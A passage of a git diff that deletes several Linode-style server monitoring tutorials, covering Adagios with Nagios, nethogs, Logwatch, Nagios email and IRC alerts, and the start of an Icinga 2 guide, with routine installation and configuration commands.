mk-livestatus-1.2.6.tar.gz - cd mk-livestatus-1.2.6 - sudo ./configure --with-nagios4 - sudo make - sudo make install - ``` - -1. Complete the Livestatus installation by creating a directory for Nagios to store the Livestatus socket and placing that information in the Nagios configuration file: - - ```command - sudo mkdir -p /usr/lib/nagios/mk-livestatus - sudo chown nagios:apache /usr/lib/nagios/mk-livestatus - echo 'broker_module=/usr/local/lib/mk-livestatus/livestatus.o /usr/lib/nagios/mk-livestatus/livestatus' | sudo tee -a /usr/local/nagios/etc/nagios.cfg - ``` - -1. Create a user group and user for Adagios, then assign the Nagios user group to that user. - - ```command - sudo groupadd --system adagios - sudo adduser --system -g adagios adagios - sudo usermod -aG nagios adagios - ``` - -#### Installing and Configuring Adagios - -1. Download the Adagios repository and give its ownership to the Adagios user: - - ```command - sudo git clone -b master --depth 1 https://github.com/opinkerfi/adagios.git /opt/adagios - sudo chown --recursive adagios:adagios /opt/adagios/ - ``` - -1. Prepare directories for Adagios, and move its configuration files onto your system: - - ```command - sudo mkdir -p /etc/adagios/conf.d /var/lib/adagios /usr/local/nagios/etc/adagios - sudo cp /opt/adagios/adagios/etc/adagios/adagios.conf /etc/adagios/adagios.conf - ``` - -1. Adjust the Adagios configuration files to reflect the actual location of your Nagios installation. - - The changes here assume your `nagios.cfg` file is stored within the `/usr/local/nagios/etc/` directory. That should be the case when following the Nagios installation guide linked earlier in this tutorial. However, replace `/usr/local/nagios/` below with the actual directory containing your installed Nagios files if that directory differs. - - These changes also disable PNP4Nagios, which adds performance graphing features. However PNP4Nagios is now deprecated, so it is not covered here. To install it anyway, follow [Nagios's instructions](https://support.nagios.com/kb/article/nagios-core-performance-graphs-using-pnp4nagios-801.html#CentOS) and do not execute the `enable_pnp4nagios` command below. - - ```command - sudo sed -i 's|/etc/nagios|/usr/local/nagios/etc|g' /etc/adagios/adagios.conf - sudo sed -i 's|/usr/sbin/nagios|/usr/local/nagios/bin/nagios|g' /etc/adagios/adagios.conf - sudo sed -i 's|enable_pnp4nagios = True|enable_pnp4nagios = False|g' /etc/adagios/adagios.conf - sudo sed -i 's|# ALLOWED_HOSTS|ALLOWED_HOSTS|g' /etc/adagios/adagios.conf - sudo sed -i 's|livestatus_path = None|livestatus_path = "/usr/lib/nagios/mk-livestatus/livestatus"|g' /etc/adagios/adagios.conf - ``` - -1. Copy the remaining Adagios configuration files to the appropriate places on your system, and ensure the Adagios user has the ownership it needs: - - ```command - sudo cp /opt/adagios/adagios/etc/adagios/conf.d/force_script_name.conf /etc/adagios/conf.d/ - sudo cp /opt/adagios/adagios/etc/adagios/conf.d/okconfig.conf /etc/adagios/conf.d/ - sudo cp /opt/adagios/adagios/etc/sudoers.d/adagios /etc/sudoers.d/ - sudo chown --recursive adagios:adagios /etc/adagios /var/lib/adagios - ``` - -1. Set up the Adagios service files, then start and enable the Adagios service: - - ```command - sudo cp /opt/adagios/contrib/gunicorn.py /opt/adagios/gunicorn.py - sudo cp /opt/adagios/contrib/*.service /etc/systemd/system/ - sudo systemctl daemon-reload - sudo systemctl start adagios - sudo systemctl enable adagios - ``` - -1. Adagios includes a configuration file for your Apache Web Server instance. Copy that configuration file to the directory for Apache configurations: - - ```command - sudo cp /opt/adagios/contrib/apache_gunicorn_adagios.conf /etc/httpd/conf.d/ - ``` - -1. Adagios uses a Python virtual environment for orchestrating some of its required features. Execute the included script to set up the necessary virtual environment, then load the environment and run some commands to provide initial configurations. - - Again, you need to replace `/usr/local/nagios/` below with the actual location of your installed Nagios files if they differ. - - ```command - sudo /opt/adagios/upgrade.sh - sudo chown --recursive adagios:adagios /opt/adagios/ - su - - ``` - - ```command - source /opt/adagios/venv/bin/activate - pynag config --append cfg_dir=/usr/local/nagios/etc/adagios - pynag config --append "broker_module=/usr/local/lib/mk-livestatus/livestatus.o /usr/lib/nagios/mk-livestatus/livestatus'" - exit - ``` - -1. Restart the Nagios, Adagios, and Apache services for the configuration changes to take effect: - - ```command - sudo systemctl restart nagios adagios httpd - ``` - -#### Installing and Configuring OKConfig - -Adagios leverages the [OKConfig](https://github.com/opinkerfi/okconfig) tool for managing Nagios configurations. Although not necessary, you should install and configure OKConfig to get the most out of Adagios. - -1. Download the OKConfig repository and deploy its initial configurations: - - ```command - sudo git clone -b master --depth 1 https://github.com/opinkerfi/okconfig.git /opt/okconfig - echo 'export PYTHONPATH=$PYTHONPATH:/opt/okconfig' | sudo tee /etc/profile.d/okconfig.sh - sudo cp /opt/okconfig/etc/okconfig.conf /etc/okconfig.conf - source /etc/profile - sudo ln -s /opt/okconfig/usr/share/okconfig /usr/share/ - sudo ln -s /opt/okconfig/usr/bin/okconfig /usr/local/bin/ - ``` - -1. Make some changes to the default OKConfig configuration. As with the Adagios configuration changes above, these primarily concern pointing OKConfig to the actual location of the `nagios.cfg` file. - - Adjust the directories in these commands to match the location of your Nagios installation if its files are stored elsewhere. - - ```command - sudo sed -i 's|/etc/nagios/nagios.cfg|/usr/local/nagios/etc/nagios.cfg|g' /etc/okconfig.conf - sudo sed -i 's|/etc/nagios/okconfig|/usr/local/nagios/etc/okconfig|g' /etc/okconfig.conf - echo 'cfg_dir=/usr/share/okconfig/templates' | sudo tee -a /usr/local/nagios/etc/nagios.cfg - su - - ``` - -1. Start up OKConfig by entering the Adagios virtual environment and running the OKConfig commands: - - ```command - source /opt/adagios/venv/bin/activate - okconfig init - okconfig verify - exit - ``` - -1. Restart the Nagios, Adagios, and Apache services for the changes to take effect: - - ```command - sudo systemctl restart nagios adagios httpd - ``` - -### Navigating Adagios - -With Adagios installed and running, you now have access to the Adagios interface for your Nagios instance. Open a web browser and navigate to the `/adagios/` path on your system's public address. - -For instance, if your public IP address is `192.0.2.0`, navigate to `http://192.0.2.0/adagios/`. If your system has the domain name `example.com`, navigate to `http://example.com/adagios/`. - -You should be greeted with the Adagios dashboard: - -[![The Adagios dashboard](adagios-dashboard_small.png)](adagios-dashboard.png) - -From here, use Adagios to navigate the myriad information about your monitored hosts and services. More details are available through the options on the left menu, such as navigating to the **Services** page to see a list of monitored services: - -[![Services listed in Adagios](adagios-services_small.png)](adagios-services.png) - -Individual items can be selected for even more details. - -Use the **Configuration** option from the top of the page to see options for configuring hosts, services, commands, and more within Nagios: - -[![Adagios page for configuring services](adagios-configure_small.png)](adagios-configure.png) - -The top menu also has an option for **Nagios**, providing an inset window with the traditional Nagios interface should you need specific features it provides. - -Finally, navigating to the `/adagios/rest` path opens the menu for documentation of your Adagios instance's RESTful APIs. There are several options of APIs exposed by the Adagios instance. For example, here is how the **status** API may look: - -[![Adagios page documenting the Status REST API](adagios-rest-api_small.png)](adagios-rest-api.png) - -## Conclusion - -Now you have Adagios providing a clean and easy interface for your Nagios system. Be sure to look into all of the menu options the Adagios interface offers. This should give you a thorough idea of the features Adagios offers and how to make the most of them. - -To take your Adagios setup even further, follow along with the Adagios user documentation linked below. The documentation on using the REST API features is especially helpful should you want to leverage them. \ No newline at end of file diff --git a/docs/guides/uptime/monitoring/get-started-using-nethogs-for-network-usage-monitoring/index.md b/docs/guides/uptime/monitoring/get-started-using-nethogs-for-network-usage-monitoring/index.md deleted file mode 100644 index ee8d81fd3ee..00000000000 --- a/docs/guides/uptime/monitoring/get-started-using-nethogs-for-network-usage-monitoring/index.md +++ /dev/null @@ -1,84 +0,0 @@ ---- -slug: get-started-using-nethogs-for-network-usage-monitoring -title: "Using Nethogs to Monitor Network Usage" -title_meta: "How to Use Nethogs to Monitor Network Usage" -description: "Learn how to install and use Nethogs, a free and open-source program designed to track network usage" -authors: ["Steven J. Vaughan-Nichols"] -contributors: ["Steven J. Vaughan-Nichols"] -published: 2021-02-19 -keywords: ['how to use nethogs'] -tags: ["linux","monitoring"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -image: UsingNethogs_NetworkMonitoring.png ---- - -[Nethogs](https://github.com/raboof/nethogs) is a free, open-source program used to track network usage. It extends the net top tool to track bandwidth by process. For example, `net top` may show that outbound traffic increased on a Linux server by protocol or subnet. But nethogs makes it easier for Linux administrators to identify which process is generating the usage spikes. - -Nethogs gathers its data from the files within the `/proc/net` directories. It does not rely on a special kernel module or driver. It works on any Linux system, but it doesn't work well on other related server operating systems such as [FreeBSD](https://www.freebsd.org/). - -Using the collected data, nethogs displays both `process IDs` (`PID`) and the program's name. This makes it easy to identify which programs may be misbehaving, because you can see the programs that are using more than their fair share of available bandwidth. - -When the Linux networking monitoring tool is started, nethogs displays current networking data. It picks up this data by using both `proc` data and [`libpcap`](https://man7.org/linux/man-pages/man3/libcap.3.html) for user-level packet capture. Nethogs then displays the data as a text-based chart, using [ncurses](https://linux.die.net/man/3/ncurses). As long as you have the program running in the foreground, the nethogs display is constantly updated. - -## Before You Begin - -If you are using a Linode, make sure you run the steps in this section to configure your Linode, secure your server, and update your system's packages. - -1. If you have not already done so, create a Linode account and Compute Instance. See our [Getting Started with Linode](https://techdocs.akamai.com/cloud-computing/docs/getting-started) and [Creating a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/create-a-compute-instance) guides. - -1. Follow our [Setting Up and Securing a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance) guide to update your system. You may also wish to set the timezone, configure your hostname, create a limited user account, and harden SSH access. - -## Installing nethogs - -Many Linux distributions come with nethogs already installed. However, if that is not the case, this section shows you how to install nethogs on a Debian or Ubuntu distribution. - -1. Install nethogs: - - sudo apt-get install nethogs - -## Common Nethogs Commands - -Nethogs is commonly run as an interactive program. But it also can be used in shell programs, or as a graphical program with the [nethogs-qt](http://slist.lilotux.net/linux/nethogs-qt/index_en.html) Qt-based GUI. - -The nethogs Linux networking system monitoring program's syntax is as follows: - - nethogs [option] [port name] - -Nethogs defaults to constantly measuring traffic to and from the `eth0` port when the utility is run without any options: - - sudo nethogs - -In the example below, nethogs reports an Ubuntu Linux workstation copying a Server Message Block (SMB) file from a Samba server, the Chrome web browser, a background Slack messaging client, and an idle Evolution e-mail client. - -![sudo nethogs](nethogs_02.png) - -Use the `-d` flag to instruct nethogs to use a refresh rate. This is measured in seconds. For example, to refresh the display every five seconds: - - sudo nethogs -d 5 - -![sudo nethogs -d 5](nethogs_03.png) - -To add a refresh rate of five seconds and device name to monitor the `eno1` device bandwidth use the command: - - sudo nethogs -d 5 eno1 - -![sudo nethogs -d 5 eno1](nethogs_04.png) - -Nethogs can also be used to monitor multiple network ports at once. For instance, to collect data from `eth0` and `eth1` ports: - - sudo nethogs -d 5 eth0 eth1 - -### Control nethogs Interactively - -While nethogs is running you can use the following interactive commands: - -- **`-m`**: Change the units that are displayed for used network bandwidth. The available units are kilobytes/sec, total kilobytes, total bytes, and total megabytes. -- **`-r`**: Sort by magnitude of received traffic -- **`-s`**: Sort by magnitude of sent traffic -- **`-q`**: Hit quit to the shell prompt - -For example, below is a nethogs display showing the traffic by total megabytes in received order. - -![nethogs display showing the traffic by total megabytes in received order](nethogs_05.png) - -It can be difficult to troubleshoot a Linux system that is behaving erratically. Using nethogs provides easy-to-read data that you can use to spot the applications that are using more resources than expected. \ No newline at end of file diff --git a/docs/guides/uptime/monitoring/logwatch-monitor-system-logs/index.md b/docs/guides/uptime/monitoring/logwatch-monitor-system-logs/index.md deleted file mode 100644 index d03004bf91a..00000000000 --- a/docs/guides/uptime/monitoring/logwatch-monitor-system-logs/index.md +++ /dev/null @@ -1,202 +0,0 @@ ---- -slug: logwatch-monitor-system-logs -title: "Monitor System Logs with Logwatch" -description: "This guide shows you how to use logwatch, a Linux utility used to monitor system logs and create reports for critical and non-critical events." -authors: ["Elle Krout"] -contributors: ["Elle Krout"] -published: 2015-08-12 -keywords: ["logwatch", "security", "logging", "audit", "logs"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -tags: ["monitoring"] -aliases: ['/uptime/monitoring/monitor-systems-logwatch/','/guides/monitor-systems-logwatch/','/server-monitoring/logwatch/ubuntu-12-04-precise-pangolin/','/uptime/monitoring/monitor-system-logs-with-logwatch-on-ubuntu-12-04-precise-pangolin/','/guides/monitor-system-logs-with-logwatch-on-ubuntu-12-04-precise-pangolin/','/server-monitoring/logwatch/ubuntu-10-10-maverick/','/uptime/monitoring/monitor-system-logs-with-logwatch-on-ubuntu-10-10-maverick/','/guides/monitor-system-logs-with-logwatch-on-ubuntu-10-10-maverick/','/server-monitoring/logwatch/ubuntu-10-04-lucid/','/uptime/monitoring/monitor-system-logs-with-logwatch-on-ubuntu-10-04-lucid/','/guides/monitor-system-logs-with-logwatch-on-ubuntu-10-04-lucid/','/server-monitoring/logwatch/fedora-14/','/uptime/monitoring/monitor-system-logs-with-logwatch-on-fedora-14/','/guides/monitor-system-logs-with-logwatch-on-fedora-14/','/uptime/monitoring/monitor-system-logs-with-logwatch-on-fedora-13/','/server-monitoring/logwatch/fedora-13/','/guides/monitor-system-logs-with-logwatch-on-fedora-13/','/uptime/monitoring/monitor-system-logs-with-logwatch-on-debian-5-lenny/','/server-monitoring/logwatch/debian-5-lenny/','/guides/monitor-system-logs-with-logwatch-on-debian-5-lenny/','/server-monitoring/logwatch/','/uptime/monitoring/logwatch-log-monitoring/','/guides/logwatch-log-monitoring/'] -image: monitor-system-logs-logwatch.jpg ---- - -*Logwatch* is a log parsing program that analyzes and generates daily reports on your system's log activity. Logwatch does not provide real time alerts, but instead creates a digest organized by systems for ease of review. More advanced users can also pair Logwatch with custom analysis scripts to fine-tune their reports. - -By default, Logwatch uses Sendmail to send digests. - -{{< note >}} -The steps required in this guide require root privileges. Be sure to run the steps below as **root**. If logged in as a superuser, it is recommended that you `su` into root. For more information on privileges see our [Users and Groups](/cloud/guides/linux-users-and-groups/) guide. -{{< /note >}} - -## Install Logwatch and Sendmail - -### Ubuntu - -1. Update your system: - - sudo apt update && sudo apt upgrade - -1. Install Logwatch and Sendmail: - - sudo apt install logwatch sendmail - -### Debian - -1. Update your system: - - sudo apt update && sudo apt upgrade - -2. Install Logwatch and Sendmail: - - sudo apt install logwatch sendmail-bin sendmail - -### CentOS Stream, AlmaLinux, Rocky Linux, and Fedora - -1. Update your system: - - sudo dnf update - -2. Install Logwatch and Sendmail: - - sudo dnf install logwatch sendmail - -3. Start Sendmail: - - sudo systemctl start sendmail - -### CentOS 7 - -1. Update your system: - - sudo yum update - -2. Install Logwatch and Sendmail: - - sudo yum install logwatch sendmail - -3. Start Sendmail: - - sudo systemctl start sendmail - -### Arch Linux - -1. Update your system: - - pacman -Syu - -2. Install Logwatch and Postfix, to replace the default Sendmail, which is not in Arch's repositories. - - pacman -S logwatch postfix - - Logwatch will prompt you to select which cron provider to use. Select the default, *cronie*. - - {{< note respectIndent=false >}} -Other SMTP clients can also be used for delivering Logwatch messages. -{{< /note >}} - -3. Edit the `/etc/postfix/main.cf` file to add your domain information, and allow for send-only mail, replacing `hostname.example.com` with your own hostname and domain: - - {{< file "/etc/postfix/main.cf" aconf >}} -myhostname = hostname.example.com -inet_interfaces = loopback-only -{{< /file >}} - - {{< note respectIndent=false >}} -Both A/AAAA, and MX records will need to be set for your domain. -{{< /note >}} - -4. Edit `/etc/postfix/aliases` to uncomment `root` and alias it to `root@hostname.example.com`, replacing `hostname.example.com` with your own hostname and domain: - - {{< file "/etc/postfix/aliases" >}} -root: root@hostname.example.com -{{< /file >}} - -5. Run `newaliases` after editing the aliases list. - -6. Start postfix: - - systemctl start postfix - -## Configure Logwatch - -The default configuration file for Logwatch is located at `/usr/share/logwatch/default.conf/logwatch.conf`. This file contains information on which directories for Logwatch to track, how the digest is output, where the digest is sent to, and which services of which to keep track. - -The following settings are the most comment configuration changes that will need to be made. Others can be found in the `logwatch.conf` file, explained in the comments. - -{{< note >}} -If Logwatch initially does not appear to run, within the `logwatch.conf` file, change the `Details` setting to `Med`. -{{< /note >}} - -### Log Directories - -By default, Logwatch digests will include all logs contained within `/var/log`. If any other directories contain logs, such as website directories, they can be added by including additional `LogDir` lines. For example: - -{{< file "/usr/share/logwatch/default.conf/logwatch.conf" >}} -LogDir = /var/log -LogDir = /var/www/example.com/logs - - -{{< /file >}} - - -### Print Logwatch Digest to Console - -The default Logwatch configuration will output the digest to your Linode's console. This is defined with the `Output` variable, which is set to `stdout` by default. This option is feasible if you are only planning on manually running Logwatch, but does not save or send the logs to you for later perusal. - - -### Email Logwatch Digest - -The Logwatch digest can be sent to local users or external email addresses, in plain text or HTML formats. - -{{< note >}} -Prior to sending mail externally or locally ensure you have Sendmail installed on the Linode. If you choose to use a different MTA client, change the `mailer` line in the Logwatch configuration file to contain the directory of your chosen MTA, or alias `/usr/sbin/sendmail` to your MTA. - -If using Arch, and you followed the above install instructions, Sendmail is already aliased to msmtp. -{{< /note >}} - -1. Change the `Output` value to `mail`. If you wish to receive the messages in HTML format change the `Format` value to `html`. - -2. Change the `MailTo` address to a valid email address, or local account user. For example, to send mail to the `root` user change the line to read: - - {{< file "/usr/share/logwatch/default.conf/logwatch.conf" >}} -MailTo = root - - -{{< /file >}} - - -3. Change the `MailFrom` value to a valid email address, or to a local user. This can also be left as `Logwatch`. - - -### Save Logwatch Digest to File - -Logwatch digests can also be saved to a file on your system. - -1. Change the `Output` value to `file`. - -2. Find and uncomment (remove the hashmark [**#**]) the `Filename` value. Set the path and filename in which you wish to save your Logwatch digests. - - -## Run Logwatch - -### Run Logwatch Manually - -Logwatch can be run manually at any time by inputting the `logwatch` command to your console. This command can be appended with a number of options to change the default output to suit your needs: - -- `--detail`: Can be set to low, med, high, or any numerical values between 1 and 10. Defines how detailed the report will be. -- `--logdir`: The directory containing the log files you wish to gain reports on. -- `--service`: The service definition that you wish to report on. -- `--output`: How you want the file to be sent: Standard output (`stdout`), mail, or file. -- `--format`: Plain text or HTML. -- `--mailto`: The local user or email address to send the report to. - -### Run Logwatch through Cron - -Logwatch often works best when configured to run daily and send or save a report to view later. This can be achieved by setting Logwatch up to run as a cronjob. - -1. Open the crontab: - - crontab -e - -2. Add a line for Logwatch. The following code is configured to run at 00:30 each day: - - {{< file "/etc/crontab" >}} -30 0 * * * /usr/sbin/logwatch - - -{{< /file >}} - - - For more information on adjusting your crontab scheduling, reference our guide on [Scheduling Tasks with Cron](/cloud/guides/schedule-tasks-with-cron/). diff --git a/docs/guides/uptime/monitoring/monitor-and-configure-nagios-alerts-on-debian-10-ubuntu-2004/index.md b/docs/guides/uptime/monitoring/monitor-and-configure-nagios-alerts-on-debian-10-ubuntu-2004/index.md deleted file mode 100644 index ad490c43dca..00000000000 --- a/docs/guides/uptime/monitoring/monitor-and-configure-nagios-alerts-on-debian-10-ubuntu-2004/index.md +++ /dev/null @@ -1,176 +0,0 @@ ---- -slug: monitor-and-configure-nagios-alerts-on-debian-10-ubuntu-2004 -title: "Configuring Nagios Alerts on Debian 10 and Ubuntu 20.04" -title_meta: "Monitor and Configure Nagios Alerts on Debian 10 and Ubuntu 20.04" -description: 'This guide shows how to you can install the server monitoring app Nagios and configure email alerts and IRC status updates on Ubuntu 20.04 and Debian 10.' -og_description: 'Nagios is a popular server monitoring tool. In this guide, you learn how to monitor and configure email alerts and IRC status updates for Nagios on Ubuntu 20.04 and Debian 10.' -authors: ["Nathaniel Stickman"] -contributors: ["Nathaniel Stickman"] -published: 2021-07-16 -keywords: ['nagios monitoring'] -tags: ['monitoring', 'ubuntu', 'debian'] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -image: MonitorandConfigureNagiosAlertsonDebianandUbuntu.jpg -external_resources: -- '[Nagios](https://www.nagios.com/products/nagios-core/)' -- '[Nagios Installation Guide](https://support.nagios.com/kb/article/nagios-core-installing-nagios-core-from-source-96.html)' ---- - -[Nagios](https://www.nagios.com/products/nagios-core/), a popular tool for monitoring servers, comes with a robust web interface to help you effectively manage your server. Its dashboard makes it relatively easy to check in on the hosts and services running on your machine and quickly learn of any issues. - -However, you can get even more out of Nagios by setting it up to deliver alerts and notifications when you need them. This guide provides instructions for setting up email alerts from Nagios and configuring regular status updates via *Internet Relay Chat* (IRC). - -## Before You Begin - -1. If you have not already done so, create a Linode account and Compute Instance. See our [Getting Started with Linode](https://techdocs.akamai.com/cloud-computing/docs/getting-started) and [Creating a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/create-a-compute-instance) guides. - -1. Follow our [Setting Up and Securing a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance) guide to update your system. You may also wish to set the timezone, configure your hostname, create a limited user account, and harden SSH access. - -1. Install and configure Nagios. Follow the steps in the [Install Nagios on Debian 10 and Ubuntu 20.04](/cloud/guides/install-nagios-on-debian-10-and-ubuntu-2004/) guide. Alternatively, the official [Nagios Installation Guide](https://support.nagios.com/kb/article/nagios-core-installing-nagios-core-from-source-96.html) provides steps for installing Nagios from source code on a wide range of Linux distributions. - -1. Replace `example.com` throughout this guide with your machine's domain name, and replace `fqdn.example.com` with your machine's fully qualified domain name (FQDN). - -{{< note >}} -This guide is written for non-root users. Commands that require elevated privileges are prefixed with `sudo`. If you’re not familiar with the `sudo` command, see the [Linux Users and Groups](/cloud/guides/linux-users-and-groups/) guide. -{{< /note >}} - -## Set Up Nagios Email Alerts - -{{% content "email-warning-shortguide" %}} - -{{< note >}} -This guide also provides instructions for configuring local emails, which are not subject to the above restriction. Under this configuration, emails are only delivered to users on the same machine as Nagios. -{{< /note >}} - -### Install Email Services - -1. Install packages for handling emails. - - sudo apt install mailutils postfix - - - You should be prompted for information about your mail server configuration. If you are not or if you need to re-enter the information, you can run the following command after the installation has finished: - - sudo dpkg-reconfigure postfix - - - Select **Internet Site** from the options that appear. - - ![Postfix configuration type](postfix-config-type.png "Postfix configuration type") - - - Enter the domain name to be used for your email addresses. This may be either your machine's fully qualified domain name (FQDN) or base domain name. It can be `localhost` if you are configuring Postfix for local emails only. - - ![Postfix system mail name](postfix-system-mail-name.png "Postfix system mail name") - - - Provide the username of your primary user on the machine. - - ![Entering primary user for Postfix](postfix-primary-user.png "Entering primary user for Postfix") - - - When prompted for destinations for which to accept mail, you can leave the field blank to only accept emails directed to the system mail name. If you have a domain name configured and want to ensure that emails are accepted for a wider range of domains, you can enter the following: `localhost, example.com, fqdn.example.com, mail.example.com, localhost.example.com`. - - ![Postfix accepted destinations](postfix-accepted-destinations.png "Postfix accepted destinations") - - - Use the default values for the remaining steps: - - Choose **No** to synchronous updates - - Enter `127.0.0.0/8 [::ffff:127.0.0.0]/104 [::1]/128` for local network - - `0` for the mailbox limit - - `+` for the local inbox extension character - - Select **all** for the Internet protocols - - - Alternatively, you can follow the [Configure Postfix to Send Email Using External SMTP Servers](/cloud/guides/postfix-smtp-debian7/) or the [Configure Postfix to Send Mail Using Gmail and Google Apps on Debian or Ubuntu](/cloud/guides/configure-postfix-to-send-mail-using-gmail-and-google-workspace-on-debian-or-ubuntu/) guide. Doing so sets up Postfix to send emails via an external SMTP provider or a Gmail account, respectively. - -1. Test the email configuration with the following command below; replace `example-user` with the username of a local user that you can log in as. - - echo "Body of the test email." | mail -s "Test Email" example-user@localhost - - - Log in as `example-user`, and run the `mail` command. Verify that the user received the test email. - - - You can use a similar command to the one above to test outbound emails. Replace `example-user@localhost` with an external email address to which you have access. - -### Configure Nagios - -1. Using your preferred text editor, open the Nagios commands configuration file, located at `/etc/nagios4/objects/commands.cfg`. Identify the command definitions for `notify-host-by-email` and `notify-service-by-email`. For each, verify that the location of the `mail` binary is `/usr/bin/mail`, as in the following example: - - {{< file "/etc/nagios4/objects/commands.cfg" >}} - -# 'notify-host-by-email' command definition - -define command{ - command_name notify-host-by-email - command_line /usr/bin/printf "%b" "***** Nagios *****\n\nNotification Type: $NOTIFICATIONTYPE$\nHost: $HOSTNAME$\nState: $HOSTSTATE$\nAddress: $HOSTADDRESS$\nInfo: $HOSTOUTPUT$\n\nDate/Time: $LONGDATETIME$\n" | /usr/bin/mail -s "** $NOTIFICATIONTYPE$ Host Alert: $HOSTNAME$ is $HOSTSTATE$ **" $CONTACTEMAIL$ - } - -# 'notify-service-by-email' command definition - -define command{ - command_name notify-service-by-email - command_line /usr/bin/printf "%b" "***** Nagios *****\n\nNotification Type: $NOTIFICATIONTYPE$\n\nService: $SERVICEDESC$\nHost: $HOSTALIAS$\nAddress: $HOSTADDRESS$\nState: $SERVICESTATE$\n\nDate/Time: $LONGDATETIME$\n\nAdditional Info:\n\n$SERVICEOUTPUT$\n" | /usr/bin/mail -s "** $NOTIFICATIONTYPE$ Service Alert: $HOSTALIAS$/$SERVICEDESC$ is $SERVICESTATE$ **" $CONTACTEMAIL$ - } - {{< /file >}} - -1. Open the Nagios `contacts.cfg` configuration file, located at `/etc/nagios4/objects/contacts.cfg`. Identify the `nagiosadmin` contact definition. In the email field, enter the email address where you would like to receive Nagios notifications. - - You can configure Nagios to send notifications to a local mailbox using `example-user@localhost`, where `example-user` is the local user you want to receive Nagios alerts. - -1. Open the Nagios `templates.cfg` configuration file, located at `/etc/nagios/objects/templates.cfg`. Find the `generic-host` definition, and ensure that it has the following line: - - {{< file "/etc/nagios4/objects/templates.cfg" >}} -contact_groups admins - {{< /file >}} - - Similarly, find the `generic-service` definition, and ensure that the same line is present. - -1. Restart the Nagios service. - - sudo systemctl restart nagios4 - -### Test Nagios Email Alerts - -You can use the following steps to verify that Nagios is delivering alerts by email. - -1. In a web browser, navigate to your Nagios interface, and log in as the `nagiosadmin` user. - -1. Select **Services** from the menu on the left, and select any of the services for which notifications are not disabled. - -1. Choose the **Send custom service notification** option from the **Service Commands** menu on the right. Enter a comment, and select **Commit**. - -1. Check the email inbox that you configured Nagios to send notifications to, and verify that you received your custom notification. - - If your Nagios alerts are sent to a local user, log in as that user, and use the `mail` command to check the user's inbox. - -## Set Up Nagios IRC Alerts - -This guide uses [NagIRCBot](https://manpages.ubuntu.com/manpages/trusty/man1/nagircbot.1.html), an application designed to routinely read Nagios's status information and post updates to an Internet Relay Chat (IRC) channel. - -### Build and Install NagIRCBot - -1. Install the requisites for building NagIRCBot. - - sudo apt-get install -y autoconf gcc libc6 libmcrypt-dev make libssl-dev wget bc gawk dc build-essential snmp libnet-snmp-perl gettext - -1. Navigate to the [NagIRCBot Exchange directory](https://exchange.nagios.org/directory/Addons/Notifications/IRC/nagircbot/details). Replace the version number in the following examples with the version you find. - -1. In the `/opt` directory, download the package containing the files needed to build the bot; extract the files, and change them into the resulting directory. - - cd /opt - sudo wget https://launchpad.net/ubuntu/+archive/primary/+sourcefiles/nagircbot/0.0.33-2/nagircbot_0.0.33.orig.tar.gz - sudo tar -zxvf nagircbot_0.0.33.orig.tar.gz - cd nagircbot-0.0.33 - sudo make - sudo make install - sudo cp nagircbot /usr/local/bin - -1. Build the NagIRCBot application. - - sudo make - sudo make install - -### Run and Test NagIRCBot - -1. Use a version of the following command to start NagIRCBot. - - sudo nagircbot -f /var/lib/nagios4/status.dat -s irc.example.com:6667 -c \#example-channel -C -n nagircbot -u nagircbot-username -U NagIRCBot-Name -I 900 - - Replace `irc.example.com` with the hostname of the IRC network or `localhost` for a local IRC network. Replace `nagircbot`, `nagircbot-username`, and `NagIRCBot-Name` with the nickname, username, and real name, respectively, to be used for the bot. Change the `900` as needed; it defines how frequently, in seconds, the bot checks and sends Nagios status information. - -1. Connect to the IRC channel, and verify that you are receiving status updates at the expected interval. - -1. By default, NagIRCBot must be re-initiated using the command described above after each system reboot. Refer to the [Use systemd to Start a Linux Service at Boot](/cloud/guides/start-service-at-boot/) or the [Schedule Tasks with Cron](/cloud/guides/schedule-tasks-with-cron/) guide for instructions on how to schedule tasks to run automatically. diff --git a/docs/guides/uptime/monitoring/monitor-remote-hosts-with-icinga/index.md b/docs/guides/uptime/monitoring/monitor-remote-hosts-with-icinga/index.md deleted file mode 100644 index 2712613c223..00000000000 --- a/docs/guides/uptime/monitoring/monitor-remote-hosts-with-icinga/index.md +++ /dev/null @@ -1,215 +0,0 @@ ---- -slug: monitor-remote-hosts-with-icinga -title: 'Monitor Remote Hosts with Icinga' -description: "This guide shows how to configure Icinga 2 to monitor remote systems on your Linode" -og_description: "This guide will show you how to configure Icinga 2 to monitor your remote systems. Icinga 2 can monitor local and remote systems, and this guide shows you how to do both." -authors: ["Matt Vass"] -contributors: ["Matt Vass"] -published: 2017-12-28 -modified: 2017-12-19 -keywords: ["debian", "icinga", "monitoring", "icinga2"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -external_resources: - - '[Official Icinga Documentation](https://www.icinga.com/docs/icinga2/latest/doc/01-about/)' -tags: ["monitoring"] -aliases: ['/uptime/monitoring/monitor-remote-hosts-with-icinga/'] ---- - -![Monitor Remote Hosts with Icinga](monitor-remote-hosts-icinga-title.jpg "Monitor Remote Hosts with Icinga") - -## What is Icinga 2? - -This guide is a continuation of our guide on [Icinga 2](/cloud/guides/install-icinga2-monitoring-on-debian-9/). -Icinga, is an open source network monitoring application that can be used to monitor critical services and systems on your Linode. Icinga 2 can monitor hosts on a network or it can verify network external protocols, such as the state of an HTTP server, mail server, file-sharing service, or others. - -## Before You Begin - -The steps and examples in this guide assume the defaults and configurations from the previous guide. Adjust all variables accordingly. - -## Monitor Remote Hosts via Simple Host Monitoring - -In order to monitor a host and its external services via regular command checks, Icinga 2 uses a mechanism that issues a ping command against the server's IP address at regular intervals and using its built-in commands, regularly verifies the state of remote network services protocols, such as HTTP, SSH, SMTP, IMAP, POP or others.\ -Icinga 2 stores Host definitions in objects. These objects and their attributes are used for applying rules for `Service`, `Notification`, `Dependency`, and `Scheduled Downtime` can be found in `hosts.conf` file, in `/etc/icinga2/conf.d/`. - -1. To add a new host definition to be periodically monitored by Icinga 2 engine via ICMP checks, open `hosts.conf` and add the following lines to the bottom of the file: - - {{< file "/etc/icinga2/conf.d/hosts.conf" conf >}} 